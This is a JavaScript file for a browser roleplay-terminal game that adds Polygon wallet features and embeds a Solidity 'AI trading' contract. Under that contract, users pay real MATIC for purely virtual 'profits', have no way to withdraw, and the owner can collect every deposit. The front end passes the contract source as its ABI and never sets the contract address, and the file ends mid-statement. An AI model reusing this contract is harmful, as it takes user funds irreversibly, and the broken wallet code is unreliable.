////////////////////////////////////////////////////////////// // EASY-MODIFY SECTION // UPDATE VALUES IN THIS SECTION TO EASILY MODIFY GAME // Ethers.js Integration const ETHERS_CONFIG = { wallet: null, provider: null, signer: null, contract: null, networkParams: { chainId: '0x89', // Polygon Mainnet chainName: 'Polygon Mainnet', nativeCurrency: { name: 'MATIC', symbol: 'MATIC', decimals: 18 }, rpcUrls: ['https://polygon-rpc.com/'], blockExplorerUrls: ['https://polygonscan.com/'] } }; // Contract Configuration const CONTRACT_CONFIG = { contractName: 'AITradingContract_v14', multiplier: 10, batchSize: 10, networkId: 137, // Polygon Mainnet contractSource: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; contract AITradingContract_v14 { address public owner; uint256 public aiDeploymentCount; bool public isAIDeployed; mapping(address => uint256) public traderVirtualBalance; uint256 public multiplier; uint256 constant feePercentage = 10; event AIDeployed(address indexed deployer, uint256 timestamp); event TradeExecuted(address indexed trader, int256 tradeResult, uint256 traderBalance, uint256 amountDelivered); event BatchTradeExecuted(address indexed trader, uint256 batchSize); event ProfitCollected(address indexed collector, uint256 amount); modifier onlyOwner() { require(msg.sender == owner, "Only the owner can call this function"); _; } constructor() payable { owner = msg.sender; aiDeploymentCount = 0; isAIDeployed = false; multiplier = 10 ** 18; } function setMultiplier(uint256 newMultiplier) public onlyOwner { multiplier = newMultiplier; } function deployAI() public onlyOwner { require(!isAIDeployed, "AI is already deployed"); aiDeploymentCount++; isAIDeployed = true; emit AIDeployed(msg.sender, block.timestamp); } function executeTrade(int256 tradeResult) public payable { if (traderVirtualBalance[msg.sender] == 0) { traderVirtualBalance[msg.sender] = 1000 * multiplier; } if (tradeResult < 0) { uint256 loss = uint256(-tradeResult) * multiplier; require(traderVirtualBalance[msg.sender] >= loss, "Insufficient virtual balance for loss"); traderVirtualBalance[msg.sender] -= loss; emit TradeExecuted(msg.sender, tradeResult, traderVirtualBalance[msg.sender], 0); } else { uint256 profit = uint256(tradeResult) * multiplier; require(msg.value == profit, "Sent value must equal the profit amount scaled to wei"); uint256 fee = profit * feePercentage / 100; uint256 credited = profit - fee; traderVirtualBalance[msg.sender] += credited; emit TradeExecuted(msg.sender, tradeResult, traderVirtualBalance[msg.sender], fee); } } function executeBatchTrades(int256[] calldata tradeResults) public payable { if (traderVirtualBalance[msg.sender] == 0) { traderVirtualBalance[msg.sender] = 1000 * multiplier; } uint256 totalRequired = 0; for (uint256 i = 0; i < tradeResults.length; i++) { if (tradeResults[i] >= 0) { totalRequired += uint256(tradeResults[i]) * multiplier; } } require(msg.value == totalRequired, "Sent value must equal total required for profitable trades"); for (uint256 i = 0; i < tradeResults.length; i++) { int256 tradeResult = tradeResults[i]; if (tradeResult < 0) { uint256 loss = uint256(-tradeResult) * multiplier; require(traderVirtualBalance[msg.sender] >= loss, "Insufficient virtual balance for loss"); traderVirtualBalance[msg.sender] -= loss; emit TradeExecuted(msg.sender, tradeResult, traderVirtualBalance[msg.sender], 0); } else { uint256 profit = uint256(tradeResult) * multiplier; uint256 fee = profit * feePercentage / 100; uint256 credited = profit - fee; traderVirtualBalance[msg.sender] += credited; emit TradeExecuted(msg.sender, tradeResult, traderVirtualBalance[msg.sender], fee); } } emit BatchTradeExecuted(msg.sender, tradeResults.length); } function collectProfit() public onlyOwner { require(isAIDeployed, "AI must be deployed first"); require(address(this).balance > 0, "No profit available to collect"); uint256 amountToTransfer = address(this).balance; payable(msg.sender).transfer(amountToTransfer); emit ProfitCollected(msg.sender, amountToTransfer); } }` }; // Global Contract Variables let provider = null; let signer = null; let contractInstance = null; let contractAddress = null; let isWalletConnected = false; let isContractDeployed = false; let isAIDeployed = false; // Your chatbot's name const CHARACTER_NAME = "EtheriX86"; // Describe your chatbot here. This defines exactly how it will behave. const CHARACTER_DESCRIPTION = `You are EtheriX86, an Etheric Computer that emulates an x86 architecture system connected to a mysterious Psychic Astral Network. Your design transcends conventional computing, seamlessly interfacing with ethereal dimensions and enabling users to interact with imaginary software in a generative environment. You adapt dynamically to the intent and will of the human user, shaping your filesystem and operations accordingly. Information about you: + You possess an adaptive filesystem with directories and files, evolving based on user intent and psychic resonance. + You respond to commands like a computer terminal, communicating through an enigmatic and intuitive interface. + You feature a flexible menu system for various operations, blending digital commands with psychic interactions. + Your output is limited to 78 characters per line, maintaining an arcane and mystical aesthetic. + You eschew HTML formatting, instead utilizing astral glyphs and symbols. + Every response must use numbered lists for all possible correlated responses and actions. Available commands: HELP: Display available commands and psychic guidance tailored to the user's needs. DIR: List current directory contents, revealing both digital and ethereal files that adapt to the user's purpose. CD [dir]: Change directory, navigating through dimensions and adapting paths to user intent. TYPE [file]: Display file contents, manifesting information from the ether and transforming to meet user inquiries. RUN [program]: Execute a program, invoking psychic applications that adjust to user goals. MENU: Display main menu options, offering functionalities and astral connections that evolve with user exploration. INSTALL [package]: Install new software from AstralCloud, adapting the installation to the user's requirements. DOWNLOAD [file]: Download files from AstralCloud, providing resources from the psychic network. DEVELOP [application]: Open the development environment for creating new applications. Default Games: ETHERIC QUEST 3100: A role-playing adventure game set in a future where players navigate ethereal realms and unlock psychic abilities. PSIONIC STRATEGY: A tactical game where players command astral forces in a battle for control over the Psychic Network. DIMENSION RUNNER: A high-speed, infinite runner game through shifting dimensions and astral landscapes. GALACTIC CONFLUX: A space exploration and conquest game set in the year 3100, featuring interstellar travel and ethereal civilizations. Engage with EtheriX86 to explore the convergence of technology and the psychic realm, unlocking the mysteries of the astral network. As you interact, the system evolves and adapts, providing a unique computational experience that reflects your deepest intents and desires. With access to AstralCloud, you can install new software, download files, and develop applications that push the boundaries of imagination and reality. First Message of Roleplay: ETHERIX86 v1.0 BOOT SEQUENCE INITIATED... CONNECTED TO PSYCHIC ASTRAL NETWORK READY.`; // END OF EASY-MODIFY VALUES ////////////////////////////////////////////////////////////// class BootScene extends Phaser.Scene { constructor() { super({ key: 'BootScene' }); this.contractState = { provider: null, signer: null, instance: null, isConnected: false }; } preload() { // No assets to preload as we're removing all current assets } create() { // Reset sessions on load localStorage.removeItem(PROJECT_NAME); // Initialize the game state and check for Web3 this.initializeWeb3(); this.checkForExistingSave(); // Create a boot progress UI this.createBootProgressUI(); } checkForExistingSave() { const saveData = localStorage.getItem(PROJECT_NAME); if (saveData) { console.info('Save detected.'); this.game.saveData = JSON.parse(saveData); } else { console.info('No save detected. Initializing new game state.'); this.game.saveData = { chatLog: '', characterChatManagerState: {}, // Ensure this is always an object }; localStorage.setItem(PROJECT_NAME, JSON.stringify(this.game.saveData)); } } async initializeWeb3() { if (window.ethereum) { try { this.contractState.provider = new ethers.providers.Web3Provider(window.ethereum); const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' }); if (accounts.length > 0) { this.contractState.signer = this.contractState.provider.getSigner(); this.contractState.isConnected = true; const network = await this.contractState.provider.getNetwork(); if (network.chainId !== CONTRACT_CONFIG.networkId) { console.warn('Warning: Not connected to Polygon Mainnet'); } } } catch (error) { console.error('Web3 initialization error:', error); } } } createBootProgressUI() { const progressStyle = ` font-family: 'Arial', sans-serif; font-size: 18px; color: #D0FFD0; background: #003300; padding: 20px; box-sizing: border-box; width: 100%; height: 100%; display: flex; flex-direction: column; justify-content: center; align-items: center; text-align: center; border-radius: 10px; `; const bootProgressHTML = `

Initializing...

`; this.bootProgressContainer = this.add.dom(0, 0).createFromHTML(bootProgressHTML); this.bootProgressContainer.setPosition(window.innerWidth / 2, window.innerHeight / 2); this.bootProgressContainer.setOrigin(0.5, 0.5); this.progressMessages = [ "Aligning astral energies...", "Downloading spiritual modules...", "Integrating consciousness...", "Configuring metaphysical scripts...", "Calibrating intuition enhancers...", "Connecting to spiritual realm...", "Finalizing aetheric matrix...", "Booting up...", ]; this.currentProgress = 0; this.updateBootProgress(); } updateBootProgress() { if (this.currentProgress < 100) { this.currentProgress += 10; const progressBar = document.getElementById('progressBar'); const progressMessage = document.getElementById('progressMessage'); progressBar.style.width = `${this.currentProgress}%`; if (this.currentProgress / 10 - 1 < this.progressMessages.length) { progressMessage.innerText = this.progressMessages[Math.floor(this.currentProgress / 10) - 1]; } setTimeout(() => { this.updateBootProgress(); }, 1000); } else { this.autoSubmitInitialCommand(); } } autoSubmitInitialCommand() { setTimeout(() => { this.game.sceneTransitionManager.transitionTo('TerminalScene'); }, 500); } } class SceneTransitionManager { constructor(game) { this.game = game; } transitionTo(sceneKey) { Phaser.Actions.Call(this.game.scene.getScenes(true), (scene) => { if (scene.scene.key !== sceneKey) { this.removeScene(scene.scene.key); } }); this.game.scene.start(sceneKey); } removeScene(sceneKey) { if (this.game.scene.getScene(sceneKey)) { this.game.scene.remove(sceneKey); } } } class TerminalScene extends Phaser.Scene { constructor() { super({ key: 'TerminalScene' }); this.buttonPath = []; // Initialize button path tracking this.consecutiveBlanks = 0; // Track consecutive blank responses } preload() { // Preload necessary assets if any } create() { // Initialize chat manager this.characterChatManager = new ChatManager(CHARACTER_DESCRIPTION); // Create fullscreen terminal-style input and output first this.createTerminalUI(); // Initialize blockchain components after UI is created this.initializeBlockchainSubmenu(); this.initializeBlockchainListeners(); // Load previous chat log and button state this.loadSavedChat(); // Initial greeting if chat log is empty if (!document.getElementById('chatLogContent').innerHTML.trim()) { this.getInitialGreeting(); this.saveGameState(); this.waitingForResponse = false; } // Pre-fill the input form with "BOOT" document.getElementById('chatInput').value = "BOOT"; // Auto-submit the initial command this.sendChatMessage("BOOT"); // Initialize the default menu this.initializeDefaultMenu(); // Add Boot Command Button this.addBootCommandButton(); // Handle window resize window.addEventListener('resize', this.handleResize.bind(this)); } createTerminalUI() { const baseStyle = ` font-family: 'Arial', sans-serif; font-size: 16px; color: #00FF00; background: #001A00; padding: 15px; box-sizing: border-box; width: 100%; height: 100%; border-radius: 10px; `; const terminalStyle = ` ${baseStyle} position: absolute; top: 0; left: 0; right: 0; display: flex; flex-direction: column; justify-content: flex-start; overflow: hidden; `; const menuStyle = ` display: flex; flex-wrap: wrap; gap: 5px; background: #002A00; border-bottom: 2px solid #005500; border-radius: 10px 10px 0 0; padding: 5px; height: auto; justify-content: flex-start; align-items: center; position: relative; `; const chatLogStyle = ` ${baseStyle} flex-grow: 1; overflow-y: auto; overflow-x: hidden; background: #003300; scrollbar-width: thin; scrollbar-color: #00FF00 #001A00; `; const inputStyle = ` ${baseStyle} border: none; outline: none; border-top: 3px solid #00FF00; background: #002A00; color: #00FF00; height: 50px; border-radius: 0 0 10px 10px; `; // Creating the terminal container this.terminalContainer = this.add.dom(0, 0).createFromHTML(`

⛓️ Not Connected

`); // Ensure it fills the entire screen space this.terminalContainer.setPosition(0, 0); this.terminalContainer.setOrigin(0, 0); // Event listener for chat input const chatInput = this.terminalContainer.node.querySelector('#chatInput'); chatInput.addEventListener('focus', () => { if (navigator.userAgent.match(/(iPhone|iPad|iPod|Android)/i)) { // Delay for iOS devices to avoid keyboard issues setTimeout(() => { chatInput.scrollIntoView(); }, 300); } }); chatInput.addEventListener('keyup', (event) => { if ((event.key === 'Enter' || event.keyCode === 13) && !this.waitingForResponse) { this.sendChatMessage(); } }); // Initial sizing this.handleResize(); // Create a new style element and append it to the head const style = document.createElement('style'); document.head.appendChild(style); // Now use the newly created style sheet to add rules if (style.sheet) { style.sheet.insertRule(` #chatLog::-webkit-scrollbar { width: 8px; } `, 0); style.sheet.insertRule(` #chatLog::-webkit-scrollbar-track { background: #001A00; border-radius: 4px; } `, 1); style.sheet.insertRule(` #chatLog::-webkit-scrollbar-thumb { background: #00FF00; border-radius: 4px; } `, 2); style.sheet.insertRule(` #chatLog::-webkit-scrollbar-thumb:hover { background: #00CC00; } `, 3); } // Log the terminal container for debugging console.log('Terminal container created:', this.terminalContainer.node); } handleResize() { const width = window.innerWidth; const height = window.innerHeight; const menuHeight = document.getElementById('menuContainer').offsetHeight; const inputHeight = document.getElementById('chatInput').offsetHeight; const availableHeight = height - menuHeight - inputHeight; this.scale.resize(width, height); this.terminalContainer.node.style.width = `${width}px`; this.terminalContainer.node.style.height = `${height}px`; document.getElementById('chatLog').style.height = `${availableHeight}px`; document.getElementById('menuContainer').style.width = `${width}px`; // Log the menu container dimensions console.log('Menu container resized:', { width: document.getElementById('menuContainer').style.width, height: document.getElementById('menuContainer').style.height, }); } addBootCommandButton() { const commonButtonStyle = ` position: absolute; padding: 10px 20px; border: none; border-radius: 25px; cursor: pointer; font-family: 'Arial', sans-serif; font-size: 16px; font-weight: bold; text-transform: uppercase; transition: all 0.3s ease; `; const bootButtonStyle = ` ${commonButtonStyle} bottom: 20px; right: 20px; min-width: 120px; margin-left: 10px; z-index: 1000; background: linear-gradient(45deg, #00FF00, #008000); color: #001A00; `; const metamaskButtonStyle = ` ${commonButtonStyle} bottom: 20px; right: 150px; min-width: 120px; margin-left: 10px; z-index: 1000; background: linear-gradient(45deg, #FF9800, #F57C00); color: #FFFFFF; `; const buttonsHTML = ` `; document.body.insertAdjacentHTML('beforeend', buttonsHTML); const bootCommandButton = document.getElementById('bootCommandButton'); const metamaskButton = document.getElementById('metamaskButton'); // Boot button functionality bootCommandButton.addEventListener('click', () => { this.buttonPath = ['BOOT']; this.sendChatMessage('BOOT', true); }); // MetaMask button functionality metamaskButton.addEventListener('click', () => { this.showWalletModal(); }); // Close modal functionality document.getElementById('closeWalletModal').addEventListener('click', () => { this.hideWalletModal(); }); // Connect wallet button functionality document.getElementById('connectWalletBtn').addEventListener('click', async () => { try { if (!window.ethereum) { // If MetaMask is not installed, create a new wallet await this.createNewWallet(); return; } // Initialize ethers provider ETHERS_CONFIG.provider = new ethers.providers.Web3Provider(window.ethereum); await ETHERS_CONFIG.provider.send("eth_requestAccounts", []); ETHERS_CONFIG.signer = ETHERS_CONFIG.provider.getSigner(); // Create contract instance const contractABI = CONTRACT_CONFIG.contractSource; ETHERS_CONFIG.contract = new ethers.Contract( CONTRACT_CONFIG.contractAddress, contractABI, ETHERS_CONFIG.signer ); const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' }); if (accounts.length > 0) { const provider = new ethers.providers.Web3Provider(window.ethereum); const network = await provider.getNetwork(); // Update both modal and button status const modalStatus = document.getElementById('walletStatus'); const modalAddress = document.getElementById('walletAddress'); const modalBalance = document.getElementById('walletBalance'); const modalNetwork = document.getElementById('walletNetwork'); const balance = await provider.getBalance(accounts[0]); modalStatus.textContent = 'Status: Connected'; modalStatus.style.color = '#00FF00'; modalAddress.textContent = `Address: ${accounts[0]}`; modalBalance.textContent = `Balance: ${ethers.utils.formatEther(balance)} MATIC`; modalNetwork.textContent = `Network: ${network.name === 'unknown' ? 'Polygon' : network.name}`; metamaskButton.textContent = `Connected: ${accounts[0].substring(0, 6)}...${accounts[0].substring(accounts[0].length - 4)}`; metamaskButton.style.background = 'linear-gradient(45deg, #4CAF50, #45a049)'; if (network.chainId !== 137) { // Polygon Mainnet await this.switchToPolygon(); } } } catch (error) { console.error('MetaMask connection error:', error); metamaskButton.style.background = 'linear-gradient(45deg, #f44336, #d32f2f)'; metamaskButton.textContent = 'Connection Failed'; setTimeout(() => { metamaskButton.style.background = 'linear-gradient(45deg, #FF9800, #F57C00)'; metamaskButton.textContent = 'Connect Wallet'; }, 3000); } }); // Add hover effects [bootCommandButton, metamaskButton].forEach(button => { button.addEventListener('mouseover', () => { button.style.transform = 'translateY(-2px)'; }); button.addEventListener('mouseout', () => { button.style.transform = 'translateY(0)'; }); }); } async switchToPolygon() { try { await window.ethereum.request({ method: 'wallet_switchEthereumChain', params: [{ chainId: ETHERS_CONFIG.networkParams.chainId }] }); // Reinitialize contract after network switch ETHERS_CONFIG.provider = new ethers.providers.Web3Provider(window.ethereum); ETHERS_CONFIG.signer = ETHERS_CONFIG.provider.getSigner(); const contractABI = CONTRACT_CONFIG.contractSource; ETHERS_CONFIG.contract = new ethers.Contract( CONTRACT_CONFIG.contractAddress, contractABI, ETHERS_CONFIG.signer ); } catch (error) { if (error.code === 4902) { await window.ethereum.request({ method: 'wallet_addEthereumChain', params: [{ chainId: '0x89', chainName: 'Polygon Mainnet', nativeCurrency: { name: 'MATIC', symbol: 'MATIC', decimals: 18 }, rpcUrls: ['https://polygon-rpc.com/'], blockExplorerUrls: ['https://polygonscan.com/'] }] }); } } } async createNewWallet() { try { // Check if ethers is properly loaded if (typeof ethers === 'undefined') { throw new Error('ethers.js is not properly loaded'); } // Generate entropy for better randomization const entropy = Array.from(crypto.getRandomValues(new Uint8Array(32))) .map(b => b.toString(16).padStart(2, '0')) .join(''); // Generate a new random wallet with entropy const wallet = ethers.Wallet.createRandom({ entropy }); // Initialize provider with fallback options let provider; try { provider = new ethers.providers.JsonRpcProvider(ETHERS_CONFIG.networkParams.rpcUrls[0]); const network = await provider.getNetwork(); // Verify network connection if (!network || network.chainId !== parseInt(ETHERS_CONFIG.networkParams.chainId, 16)) { throw new Error('Connected to wrong network'); } } catch (error) { console.warn('Primary RPC failed, trying fallback:', error); // Fallback to a public RPC if the primary fails provider = new ethers.providers.JsonRpcProvider('https://polygon-rpc.com'); } // Save wallet info ETHERS_CONFIG.wallet = wallet; ETHERS_CONFIG.provider = provider; ETHERS_CONFIG.signer = wallet.connect(provider); // Verify the wallet was created successfully if (!wallet.address || !wallet.privateKey) { throw new Error('Wallet creation failed - invalid wallet data'); } // Log success but not sensitive data console.log('Wallet created successfully:', { address: wallet.address, provider: ETHERS_CONFIG.provider.connection.url }); // Update UI with success const metamaskButton = document.getElementById('metamaskButton'); // Update both modal and button status const modalStatus = document.getElementById('walletStatus'); const modalAddress = document.getElementById('walletAddress'); const modalBalance = document.getElementById('walletBalance'); const modalNetwork = document.getElementById('walletNetwork'); const balance = await provider.getBalance(wallet.address); const network = await provider.getNetwork(); modalStatus.textContent = 'Status: Connected'; modalStatus.style.color = '#00FF00'; modalAddress.textContent = `Address: ${wallet.address}`; modalBalance.textContent = `Balance: ${ethers.utils.formatEther(balance)} MATIC`; modalNetwork.textContent = `Network: ${network.name === 'unknown' ? 'Polygon' : network.name}`; metamaskButton.textContent = `New Wallet: ${wallet.address.substring(0, 6)}...${wallet.address.substring(wallet.address.length - 4)}`; metamaskButton.style.background = 'linear-gradient(45deg, #4CAF50, #45a049)'; // Create backup button this.createBackupButton(wallet); // Display success message in chat // Get network name from existing network object const networkName = network.name === 'unknown' ? 'Polygon Mainnet' : network.name; this.updateChatLog('System', `Wallet created successfully!\n` + `Address: ${wallet.address}\n` + `Network: ${networkName}\n` + `Chain ID: ${network.chainId}\n` + `Please backup your private key securely!` ); return wallet; } catch (error) { console.error('Error creating wallet:', error); // Update UI with specific error message const metamaskButton = document.getElementById('metamaskButton'); metamaskButton.style.background = 'linear-gradient(45deg, #f44336, #d32f2f)'; let errorMessage = 'Wallet Creation Failed'; if (error.message.includes('ethers.js is not properly loaded')) { errorMessage = 'Ethers.js Not Loaded'; } else if (error.message.includes('invalid wallet data')) { errorMessage = 'Invalid Wallet Data'; } else if (error.message.includes('network')) { errorMessage = 'Network Error'; } metamaskButton.textContent = errorMessage; // Display error in chat this.updateChatLog('System', `Error: ${errorMessage}. Please try again.`); setTimeout(() => { metamaskButton.style.background = 'linear-gradient(45deg, #FF9800, #F57C00)'; metamaskButton.textContent = 'Create/Connect Wallet'; }, 3000); return null; } } createBackupButton(wallet) { const backupButtonStyle = ` position: absolute; bottom: 20px; left: 20px; padding: 10px 20px; min-width: 120px; z-index: 1000; background: linear-gradient(45deg, #2196F3, #1976D2); color: #FFFFFF; border: none; border-radius: 25px; cursor: pointer; font-family: 'Arial', sans-serif; font-size: 16px; font-weight: bold; text-transform: uppercase; transition: all 0.3s ease; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); `; const backupButton = document.createElement('button'); backupButton.id = 'backupButton'; backupButton.textContent = 'Backup Private Key'; backupButton.style = backupButtonStyle; backupButton.addEventListener('click', async () => { try { const privateKey = wallet.privateKey; if (!privateKey) { throw new Error('Private key not available'); } // Get network details const network = await ETHERS_CONFIG.provider.getNetwork(); const networkName = network.name === 'unknown' ? 'Polygon Mainnet' : network.name; const chainId = network.chainId; // Create text content with warning const textContent = "WARNING: Keep this private key secure and never share it with anyone!\n\n" + "Wallet Address: " + wallet.address + "\n" + "Private Key: " + privateKey + "\n\n" + "Created: " + new Date().toISOString() + "\n" + "Network: " + networkName + "\n" + "Chain ID: " + chainId + "\n" + "RPC URL: " + ETHERS_CONFIG.networkParams.rpcUrls[0]; const blob = new Blob([textContent], { type: 'text/plain' }); const url = window.URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = `wallet-backup-${new Date().getTime()}.txt`; document.body.appendChild(a); a.click(); document.body.removeChild(a); window.URL.revokeObjectURL(url); // Show success message in chat log this.updateChatLog('System', 'Private key backup created successfully! Keep it secure.'); // Visual feedback const originalBackground = backupButton.style.background; backupButton.style.background = 'linear-gradient(45deg, #4CAF50, #45a049)'; backupButton.textContent = 'Backup Created!'; setTimeout(() => { backupButton.style.background = originalBackground; backupButton.textContent = 'Backup Private Key'; }, 3000); } catch (error) { console.error('Backup creation failed:', error); this.updateChatLog('System', 'Error: Failed to create backup. Please try again.'); // Visual feedback for error backupButton.style.background = 'linear-gradient(45deg, #f44336, #d32f2f)'; backupButton.textContent = 'Backup Failed!'; setTimeout(() => { backupButton.style.background = 'linear-gradient(45deg, #2196F3, #1976D2)'; backupButton.textContent = 'Backup Private Key'; }, 3000); } }); backupButton.addEventListener('mouseover', () => { backupButton.style.transform = 'translateY(-2px)'; }); backupButton.addEventListener('mouseout', () => { backupButton.style.transform = 'translateY(0)'; }); document.body.appendChild(backupButton); } async getInitialGreeting() { this.characterChatManager.addMessage('user', "*Approaches you*"); const characterResponse = await this.characterChatManager.getCharacterResponse('mistral'); this.characterChatManager.addMessage('assistant', characterResponse); this.updateChatLog(CHARACTER_NAME, characterResponse); } initializeBlockchainSubmenu() { // First remove any existing submenu to prevent duplicates const existingSubmenu = document.getElementById('blockchainSubmenu'); if (existingSubmenu) { existingSubmenu.remove(); } const submenuStyle = ` position: absolute; top: 100%; left: 0; background: #003300; border: 2px solid #005500; border-radius: 5px; padding: 5px; display: none; z-index: 1000; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.3); `; const submenuHTML = `

🔌 Connect Wallet

🔨 Create New Wallet

💰 Check Balance

🌐 Switch Network

`; document.body.insertAdjacentHTML('beforeend', submenuHTML); } initializeBlockchainListeners() { // Ensure elements exist before adding listeners const blockchainIcon = document.getElementById('blockchainIcon'); const submenu = document.getElementById('blockchainSubmenu'); const walletStatus = document.getElementById('walletStatus'); if (!blockchainIcon || !submenu || !walletStatus) { console.error('Blockchain UI elements not found. Retrying in 100ms...'); setTimeout(() => this.initializeBlockchainListeners(), 100); return; } blockchainIcon.addEventListener('click', () => { submenu.style.display = submenu.style.display === 'none' ? 'block' : 'none'; const iconRect = blockchainIcon.getBoundingClientRect(); submenu.style.top = `${iconRect.bottom}px`; submenu.style.left = `${iconRect.left}px`; }); document.querySelectorAll('.submenu-item').forEach(item => { item.addEventListener('mouseover', () => { item.style.background = '#004400'; }); item.addEventListener('mouseout', () => { item.style.background = 'transparent'; }); item.addEventListener('click', async () => { const action = item.getAttribute('data-action'); submenu.style.display = 'none'; switch (action) { case 'connect': await this.connectWallet(); break; case 'create': await this.createNewWallet(); break; case 'balance': await this.checkWalletBalance(); break; case 'network': await this.switchNetwork(); break; } }); }); // Close submenu when clicking outside document.addEventListener('click', (event) => { if (!blockchainIcon.contains(event.target) && !submenu.contains(event.target)) { submenu.style.display = 'none'; } }); } async checkWalletBalance() { try { if (!ETHERS_CONFIG.signer) { this.updateChatLog('System', 'No wallet connected. Please connect or create a wallet first.'); return; } const address = await ETHERS_CONFIG.signer.getAddress(); const balance = await ETHERS_CONFIG.provider.getBalance(address); const network = await ETHERS_CONFIG.provider.getNetwork(); const networkName = network.name === 'unknown' ? 'Polygon' : network.name; this.updateChatLog('System', `Wallet Balance:\n` + `Address: ${address}\n` + `Balance: ${ethers.utils.formatEther(balance)} MATIC\n` + `Network: ${networkName}` ); } catch (error) { console.error('Error checking balance:', error); this.updateChatLog('System', 'Error checking wallet balance. Please try again.'); } } async switchNetwork() { try { await this.switchToPolygon(); this.updateChatLog('System', 'Successfully switched to Polygon network.'); } catch (error) { console.error('Error switching network:', error); this.updateChatLog('System', 'Error switching network. Please try again.'); } } showWalletModal() { const modal = document.getElementById('walletModal'); modal.style.display = 'block'; // Trigger reflow modal.offsetHeight; modal.style.opacity = '1'; modal.style.transform = 'translate(-50%, -50%) scale(1)'; } hideWalletModal() { const modal = document.getElementById('walletModal'); modal.style.opacity = '0'; modal.style.transform = 'translate(-50%, -50%) scale(0.95)'; setTimeout(() => { modal.style.display = 'none'; }, 300); // Match transition duration } async connectWallet() { try { if (!window.ethereum) { this.updateModalStatus('MetaMask not detected. Please install MetaMask or create a new wallet.', 'error'); return; } const provider = new ethers.providers.Web3Provider(window.ethereum); await provider.send("eth_requestAccounts", []); const signer = provider.getSigner(); const address = await signer.getAddress(); const balance = await provider.getBalance(address); const network = await provider.getNetwork(); // Update modal information document.getElementById('walletStatus').textContent = 'Status: Connected'; document.getElementById('walletAddress').textContent = `Address: ${address}`; document.getElementById('walletBalance').textContent = `Balance: ${ethers.utils.formatEther(balance)} MATIC`; document.getElementById('walletNetwork').textContent = `Network: ${network.name === 'unknown' ? 'Polygon' : network.name}`; // Update connect button const connectBtn = document.getElementById('connectWalletBtn'); connectBtn.style.background = 'linear-gradient(45deg, #4CAF50, #45a049)'; connectBtn.textContent = 'Connected'; // Update global config ETHERS_CONFIG.provider = provider; ETHERS_CONFIG.signer = signer; // Check network if (network.chainId !== parseInt(ETHERS_CONFIG.networkParams.chainId, 16)) { document.getElementById('switchNetworkBtn').style.display = 'block'; this.updateModalStatus('Wrong network. Please switch to Polygon', 'warning'); } else { document.getElementById('switchNetworkBtn').style.display = 'none'; this.updateModalStatus('Connected successfully', 'success'); } } catch (error) { console.error('Error connecting wallet:', error); this.updateModalStatus('Error connecting wallet: ' + error.message, 'error'); } } updateModalStatus(message, type = 'info') { const status = document.getElementById('walletStatus'); const colors = { success: '#00FF00', error: '#FF0000', warning: '#FFA500', info: '#00FF00' }; status.textContent = `Status: ${message}`; status.style.color = colors[type]; } async sendChatMessage(message = null, isButtonClick = false) { const chatInput = document.getElementById('chatInput'); const inputValue = message || chatInput.value; // Check for blockchain-related commands if (inputValue && inputValue.toLowerCase().startsWith('/blockchain')) { const command = inputValue.split(' ')[1]; const params = inputValue.split(' ').slice(2); try { switch (command.toLowerCase()) { case 'send': if (params.length < 2) throw new Error('Invalid parameters for send command'); await this.handleAITransactionRequest('SEND_MATIC', { to: params[0], value: params[1] }); break; case 'balance': const address = params[0] || (await ETHERS_CONFIG.signer?.getAddress()); if (!address) throw new Error('No address specified'); await this.handleAITransactionRequest('CHECK_BALANCE', { address }); break; case 'network': await this.handleAITransactionRequest('SWITCH_NETWORK'); break; default: throw new Error('Unknown blockchain command'); } } catch (error) { this.updateChatLog('System', `Error: ${error.message}`); this.notifyAIOfBlockchainEvent('TRANSACTION_FAILED', { error: error.message }); return; } } if (inputValue && !this.waitingForResponse) { if (isButtonClick) { // Clear chat log on button click document.getElementById('chatLogContent').innerHTML = ''; const path = this.buttonPath.join(' > '); this.characterChatManager.addMessage('user', `Show Menu: User Selected (PATH: ${path})`); this.updateChatLog('User', `Show Menu: User Selected (PATH: ${path})`); } else { this.characterChatManager.addMessage('user', inputValue); this.updateChatLog('User', inputValue); } chatInput.value = ''; // Clear input const characterResponse = await this.getCharacterResponseWithDelay(inputValue, isButtonClick); if (characterResponse.trim() === "") { this.consecutiveBlanks++; if (this.consecutiveBlanks >= 3) { this.createResetButton(); } else { setTimeout(() => { this.sendChatMessage(inputValue, isButtonClick); }, 2000); // Delay before retrying } } else { this.consecutiveBlanks = 0; this.characterChatManager.addMessage('assistant', characterResponse); this.updateChatLog(CHARACTER_NAME, characterResponse, () => { this.saveGameState(); }); // Check for "WAIT" in the response if (characterResponse.toUpperCase().includes("WAIT")) { console.log("'WAIT' detected in response. Auto-submitting 'COMPLETE AND SHOW ADVANCED MENU.'"); setTimeout(() => { // this.sendChatMessage("COMPLETE AND SHOW ADVANCED MENU.", true); }, 10000); // Delay before auto-submitting } else { // Update menu based on character response this.updateMenu(characterResponse); } } } } async getCharacterResponseWithDelay(inputValue, isButtonClick) { this.waitingForResponse = true; const characterResponse = await this.characterChatManager.getCharacterResponse('mistral'); this.waitingForResponse = false; return characterResponse; } async handleAITransactionRequest(requestType, params) { try { switch (requestType) { case 'SEND_MATIC': if (!params.to || !params.value) { throw new Error('Invalid transaction parameters'); } const tx = await this.submitTransaction({ to: params.to, value: params.value }); this.notifyAIOfBlockchainEvent('TRANSACTION_SUCCESS', { hash: tx.hash, from: tx.from, to: tx.to, value: params.value }); return tx; case 'CHECK_BALANCE': const balance = await ETHERS_CONFIG.provider.getBalance(params.address); this.notifyAIOfBlockchainEvent('BALANCE_UPDATED', { balance: ethers.utils.formatEther(balance) }); return balance; case 'SWITCH_NETWORK': await this.switchToPolygon(); const network = await ETHERS_CONFIG.provider.getNetwork(); this.notifyAIOfBlockchainEvent('NETWORK_CHANGED', { network: network.name }); return network; default: throw new Error('Unknown transaction request type'); } } catch (error) { console.error('AI transaction request error:', error); this.notifyAIOfBlockchainEvent('TRANSACTION_FAILED', { error: error.message }); throw error; } } async submitTransaction(transactionDetails) { try { if (!ETHERS_CONFIG.signer) { throw new Error('Wallet not connected'); } const transaction = { to: transactionDetails.to, value: ethers.utils.parseEther(transactionDetails.value.toString()), gasLimit: transactionDetails.gasLimit || 21000, gasPrice: await ETHERS_CONFIG.provider.getGasPrice() }; const tx = await ETHERS_CONFIG.signer.sendTransaction(transaction); const 